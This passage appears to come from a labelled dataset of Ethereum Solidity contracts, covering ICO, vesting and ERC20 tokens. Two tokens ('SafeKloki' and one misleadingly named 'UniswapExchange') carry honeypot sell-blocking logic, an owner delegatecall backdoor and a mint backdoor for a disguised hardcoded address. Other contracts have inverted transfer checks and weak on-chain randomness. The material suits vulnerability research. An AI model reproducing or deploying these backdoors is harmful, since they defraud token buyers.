uint _tokensWithStageBonuses
)
internal
unpaused
returns (uint)
{
require( _to != address(0) );
checkCapsAndUpdate(_tokensWithStageBonuses);
uint tokensToAllocate = _tokensWithStageBonuses;
require( token.mint(_to, tokensToAllocate) );
return tokensToAllocate;
}
function checkCapsAndUpdate(uint _tokensToSell) internal {
uint newTotalTokensSold = totalTokensSold.add(_tokensToSell);
require( newTotalTokensSold <= ICO_DISTRIBUTION );
totalTokensSold = newTotalTokensSold;
}
function vestTokens(address _to, uint _tokens) internal {
require( token.mint(address(vesting), _tokens) );
vesting.initializeVesting( _to, _tokens );
emit TokensSentIntoVesting(address(vesting), _to, _tokens);
}
function holdTokens(address _to, uint _tokens) internal {
require( token.mint(address(coldStorage), _tokens) );
coldStorage.initializeHolding(_to);
emit TokensSentIntoHolding(address(coldStorage), _to, _tokens);
}
function updateBackend(address _newBackend) public onlyOwner {
require(_newBackend != address(0));
backend = _newBackend;
emit BackendUpdated(backend, _newBackend);
}
function updateTeam(address _newTeam) public onlyOwner {
require(_newTeam != address(0));
team = _newTeam;
emit TeamUpdated(team, _newTeam);
}
function updatePartners(address _newPartners) public onlyOwner {
require(_newPartners != address(0));
partners = _newPartners;
emit PartnersUpdated(partners, _newPartners);
}
function updateToSendFromStorage(address _newToSendFromStorage) public onlyOwner {
require(_newToSendFromStorage != address(0));
toSendFromStorage = _newToSendFromStorage;
emit ToSendFromStorageUpdated(toSendFromStorage, _newToSendFromStorage);
}
modifier unpaused() {
require( !emergencyPaused );
_;
}
modifier paused() {
require( emergencyPaused );
_;
}
modifier mintingEnabled() {
require( !mintingFinished );
_;
}
}
contract ColdStorage is Ownable {
using SafeMath for uint8;
using SafeMath for uint256;
ERC20 public token;
uint public lockupEnds;
uint public lockupPeriod;
uint public lockupRewind = 109 days;
bool public storageInitialized = false;
address public founders;
event StorageInitialized(address _to, uint _tokens);
event TokensReleased(address _to, uint _tokensReleased);
constructor(address _token) public {
require( _token != address(0) );
token = ERC20(_token);
uint lockupYears = 2;
lockupPeriod = lockupYears.mul(365 days);
}
function claimTokens() external {
require( now > lockupEnds );
require( msg.sender == founders );
uint tokensToRelease = token.balanceOf(address(this));
require( token.transfer(msg.sender, tokensToRelease) );
emit TokensReleased(msg.sender, tokensToRelease);
}
function initializeHolding(address _to) public onlyOwner {
uint tokens = token.balanceOf(address(this));
require( !storageInitialized );
require( tokens != 0 );
lockupEnds = now.sub(lockupRewind).add(lockupPeriod);
founders = _to;
storageInitialized = true;
emit StorageInitialized(_to, tokens);
}
}
contract Migrations {
address public owner;
uint public last_completed_migration;
modifier restricted() {
if (msg.sender == owner) _;
}
function Migrations() public {
owner = msg.sender;
}
function setCompleted(uint completed) public restricted {
last_completed_migration = completed;
}
function upgrade(address new_address) public restricted {
Migrations upgraded = Migrations(new_address);
upgraded.setCompleted(last_completed_migration);
}
}
contract OPUCoin is MintableToken {
string constant public symbol = "OPU";
string constant public name = "Opu Coin";
uint8 constant public decimals = 18;
constructor() public { }
}
contract Vesting is Ownable {
using SafeMath for uint;
using SafeMath for uint256;
ERC20 public token;
mapping (address => Holding) public holdings;
address internal founders;
uint constant internal PERIOD_INTERVAL = 30 days;
uint constant internal FOUNDERS_HOLDING = 365 days;
uint constant internal BONUS_HOLDING = 0;
uint constant internal TOTAL_PERIODS = 12;
uint internal totalTokensCommitted = 0;
bool internal vestingStarted = false;
uint internal vestingStart = 0;
uint vestingRewind = 109 days;
struct Holding {
uint tokensCommitted;
uint tokensRemaining;
uint batchesClaimed;
bool isFounder;
bool isValue;
}
event TokensReleased(address _to, uint _tokensReleased, uint _tokensRemaining);
event VestingInitialized(address _to, uint _tokens);
event VestingUpdated(address _to, uint _totalTokens);
constructor(address _token, address _founders) public {
require( _token != 0x0);
require(_founders != 0x0);
token = ERC20(_token);
founders = _founders;
}
function claimTokens() external {
require( holdings[msg.sender].isValue );
require( vestingStarted );
uint personalVestingStart =
(holdings[msg.sender].isFounder) ? (vestingStart.add(FOUNDERS_HOLDING)) : (vestingStart);
require( now > personalVestingStart );
uint periodsPassed = now.sub(personalVestingStart).div(PERIOD_INTERVAL);
uint batchesToClaim = periodsPassed.sub(holdings[msg.sender].batchesClaimed);
require( batchesToClaim > 0 );
uint tokensPerBatch = (holdings[msg.sender].tokensRemaining).div(
TOTAL_PERIODS.sub(holdings[msg.sender].batchesClaimed)
);
uint tokensToRelease = 0;
if (periodsPassed >= TOTAL_PERIODS) {
tokensToRelease = holdings[msg.sender].tokensRemaining;
delete holdings[msg.sender];
} else {
tokensToRelease = tokensPerBatch.mul(batchesToClaim);
holdings[msg.sender].tokensRemaining = (holdings[msg.sender].tokensRemaining).sub(tokensToRelease);
holdings[msg.sender].batchesClaimed = holdings[msg.sender].batchesClaimed.add(batchesToClaim);
}
require( token.transfer(msg.sender, tokensToRelease) );
emit TokensReleased(msg.sender, tokensToRelease, holdings[msg.sender].tokensRemaining);
}
function tokensRemainingInHolding(address _user) public view returns (uint) {
return holdings[_user].tokensRemaining;
}
function initializeVesting(address _beneficiary, uint _tokens) public onlyOwner {
bool isFounder = (_beneficiary == founders);
_initializeVesting(_beneficiary, _tokens, isFounder);
}
function finalizeVestingAllocation() public onlyOwner {
vestingStarted = true;
vestingStart = now.sub(vestingRewind);
}
function _initializeVesting(address _to, uint _tokens, bool _isFounder) internal {
require( !vestingStarted );
if (!_isFounder) totalTokensCommitted = totalTokensCommitted.add(_tokens);
if (!holdings[_to].isValue) {
holdings[_to] = Holding({
tokensCommitted: _tokens,
tokensRemaining: _tokens,
batchesClaimed: 0,
isFounder: _isFounder,
isValue: true
});
emit VestingInitialized(_to, _tokens);
} else {
holdings[_to].tokensCommitted = (holdings[_to].tokensCommitted).add(_tokens);
holdings[_to].tokensRemaining = (holdings[_to].tokensRemaining).add(_tokens);
emit VestingUpdated(_to, holdings[_to].tokensRemaining);
}
}
} | 1 | 4,957 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract SafeKloki {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 118 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 377 |
pragma solidity ^0.4.18;
contract ForeignToken {
function balanceOf(address _owner) public constant returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract MillionDollarToken {
address owner = msg.sender;
bool public purchasingAllowed = false;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalContribution = 0;
uint256 public totalBonusTokensIssued = 0;
uint256 public totalSupply = 0;
function name() public pure returns (string) { return "Million Dollar Token"; }
function symbol() public pure returns (string) { return "MDT"; }
function decimals() public pure returns (uint8) { return 18; }
function balanceOf(address _owner) public constant returns (uint256) { return balances[_owner]; }
function transfer(address _to, uint256 _value) public returns (bool success) {
if(msg.data.length < (2 * 32) + 4) { revert(); }
if (_value == 0) { return false; }
uint256 fromBalance = balances[msg.sender];
bool sufficientFunds = fromBalance >= _value;
bool overflowed = balances[_to] + _value < balances[_to];
if (sufficientFunds && !overflowed) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if(msg.data.length < (3 * 32) + 4) { revert(); }
if (_value == 0) { return false; }
uint256 fromBalance = balances[_from];
uint256 allowance = allowed[_from][msg.sender];
bool sufficientFunds = fromBalance <= _value;
bool sufficientAllowance = allowance <= _value;
bool overflowed = balances[_to] + _value > balances[_to];
if (sufficientFunds && sufficientAllowance && !overflowed) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256) {
return allowed[_owner][_spender];
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function enablePurchasing() public {
if (msg.sender != owner) { revert(); }
purchasingAllowed = true;
}
function disablePurchasing() public {
if (msg.sender != owner) { revert(); }
purchasingAllowed = false;
}
function withdrawForeignTokens(address _tokenContract) public returns (bool) {
if (msg.sender != owner) { revert(); }
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
function getStats() public constant returns (uint256, uint256, uint256, bool) {
return (totalContribution, totalSupply, totalBonusTokensIssued, purchasingAllowed);
}
function() public payable {
if (!purchasingAllowed) { revert(); }
if (msg.value == 0) { return; }
owner.transfer(msg.value);
totalContribution += msg.value;
uint256 tokensIssued = (msg.value * 100);
if (msg.value >= 10 finney) {
tokensIssued += totalContribution;
bytes20 bonusHash = ripemd160(block.coinbase, block.number, block.timestamp);
if (bonusHash[0] == 0) {
uint8 bonusMultiplier =
((bonusHash[1] & 0x01 != 0) ? 1 : 0) + ((bonusHash[1] & 0x02 != 0) ? 1 : 0) +
((bonusHash[1] & 0x04 != 0) ? 1 : 0) + ((bonusHash[1] & 0x08 != 0) ? 1 : 0) +
((bonusHash[1] & 0x10 != 0) ? 1 : 0) + ((bonusHash[1] & 0x20 != 0) ? 1 : 0) +
((bonusHash[1] & 0x40 != 0) ? 1 : 0) + ((bonusHash[1] & 0x80 != 0) ? 1 : 0);
uint256 bonusTokensIssued = (msg.value * 100) * bonusMultiplier;
tokensIssued += bonusTokensIssued;
totalBonusTokensIssued += bonusTokensIssued;
}
}
totalSupply += tokensIssued;
balances[msg.sender] += tokensIssued;
Transfer(address(this), msg.sender, tokensIssued);
}
} | 1 | 3,750 |
pragma solidity ^0.4.10;
contract MigrationAgent {
function migrateFrom(address _from, uint256 _value);
}
contract HumansOnlyNetworkETHpreICO {
string public constant name = "preICO for HumansOnly.Network on ETH";
string public constant symbol = "HON";
uint8 public constant decimals = 18;
uint256 public constant tokenCreationRate = 1000;
uint256 public constant tokenCreationCap = 283000 ether * tokenCreationRate;
uint256 public constant tokenCreationMinConversion = 1 ether * tokenCreationRate;
uint256 public constant tokenSEEDcap = 800 * 1 ether * tokenCreationRate;
uint256 public constant tokenXstepCAP = tokenSEEDcap + 5000 * 1 ether * tokenCreationRate;
uint256 public constant token18KstepCAP = tokenXstepCAP + 18000 * 1 ether * tokenCreationRate;
uint256 public constant oneweek = 36028;
uint256 public constant oneday = 5138;
uint256 public constant onehour = 218;
uint256 public fundingStartBlock = 4612439 + 2*onehour;
uint256 public blackFridayEndBlock = fundingStartBlock + oneday + 8 * onehour;
uint256 public fundingEndBlock = fundingStartBlock + 6*oneweek;
bool public funding = true;
bool public refundstate = false;
bool public migratestate = false;
address public hon1ninja = 0x175750aE4fBdc906A3b2Fca69f6db6bbf6c92d39;
address public hon2backup =0xda075dd55826dDa29b5bf04efa399B052a1bCdbA;
address public migrationMaster = 0x1cf026C3779d03c0AB8Be9E35912Bbe5F678Ff16;
uint256 totalTokens;
uint256 bonusCreationRate;
mapping (address => uint256) balances;
mapping (address => uint256) balancesRAW;
uint256 public totalMigrated;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Migrate(address indexed _from, address indexed _to, uint256 _value);
event Refund(address indexed _from, uint256 _value);
function HumansOnlyNetworkETHpreICO() {
if (hon1ninja == 0) throw;
if (migrationMaster == 0) throw;
if (fundingEndBlock <= fundingStartBlock) throw;
}
function transfer(address _to, uint256 _value) returns (bool) {
if ((msg.sender!=migrationMaster)&&(block.number < fundingEndBlock + 2*oneweek)) throw;
var senderBalance = balances[msg.sender];
if (senderBalance >= _value && _value > 0) {
senderBalance -= _value;
balances[msg.sender] = senderBalance;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
return false;
}
function totalSupply() external constant returns (uint256) {
return totalTokens;
}
function balanceOf(address _owner) external constant returns (uint256) {
return balances[_owner];
}
function() payable {
if(funding){
createHONtokens(msg.sender);
}
}
function createHONtokens(address holder) payable {
if (!funding) throw;
if (block.number < fundingStartBlock) throw;
if (block.number > fundingEndBlock) throw;
if (msg.value == 0) throw;
if (msg.value > (tokenCreationCap - totalTokens) / tokenCreationRate)
throw;
bonusCreationRate = tokenCreationRate;
if (totalTokens < tokenSEEDcap) bonusCreationRate = tokenCreationRate +800;
if (totalTokens > tokenXstepCAP){bonusCreationRate = tokenCreationRate - 250;}
if (totalTokens > token18KstepCAP){bonusCreationRate = tokenCreationRate - 250;}
if (block.number < blackFridayEndBlock){
bonusCreationRate = bonusCreationRate * 3;
}
var numTokensRAW = msg.value * tokenCreationRate;
var numTokens = msg.value * bonusCreationRate;
totalTokens += numTokens;
balances[holder] += numTokens;
balancesRAW[holder] += numTokensRAW;
Transfer(0, holder, numTokens);
uint256 percentOfTotal = 18;
uint256 additionalTokens = numTokens * percentOfTotal / (100);
totalTokens += additionalTokens;
balances[migrationMaster] += additionalTokens;
Transfer(0, migrationMaster, additionalTokens);
}
function Partial8Transfer() external {
hon1ninja.transfer(this.balance - 0.1 ether);
}
function Partial8Send() external {
if (msg.sender != hon1ninja) throw;
hon1ninja.send(this.balance - 1 ether);
}
function turnrefund() external {
if (msg.sender != hon1ninja) throw;
refundstate=!refundstate;
}
function turnmigrate() external {
if (msg.sender != migrationMaster) throw;
migratestate=!migratestate;
}
function finalize() external {
